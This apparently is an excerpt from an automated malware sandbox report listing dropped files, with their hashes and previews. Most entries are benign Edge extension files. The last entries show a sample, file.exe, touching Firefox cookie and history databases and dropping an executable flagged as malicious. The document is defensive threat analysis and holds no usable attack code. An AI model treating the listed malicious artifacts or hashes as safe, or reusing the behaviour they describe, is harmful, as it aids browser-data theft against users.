Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir7988_860825187\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7988_860825187\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7988_860825187\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7988_860825187\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_860825187\d48a8239-01d0-45c3-bef3-536d676ba720.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsJEGDGIIJJE.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1950720
Entropy (8bit):	7.949870979216457
Encrypted:	false
SSDEEP:	24576:PpW+SGrIZFYyJVeh5rht1hADt2EpbioLJ2SCias/LjZxr5PW94PV0/MOJ47Ggl:BW+kje71wEEtXJ2LsjFu94907y
MD5:	9992A20ADD6571CE7C2B357B425E5445
SHA1:	A454D9BAA02DE82903CAEB14BE6F1B74F47FEB3D
SHA-256:	4FD36AD0A4B7187D3996709416A9E59558F8855248A54ABE6316D7C004C17AEB
SHA-512:	D7448C82FA25850AECCA0299638C03618443E14D91A2CD113936A54D85B30CBD95E47AE17AB65AC18055D65E95CA12E08C246DE28A7362BBF1E39783D7FCC38A
Malicious:	true
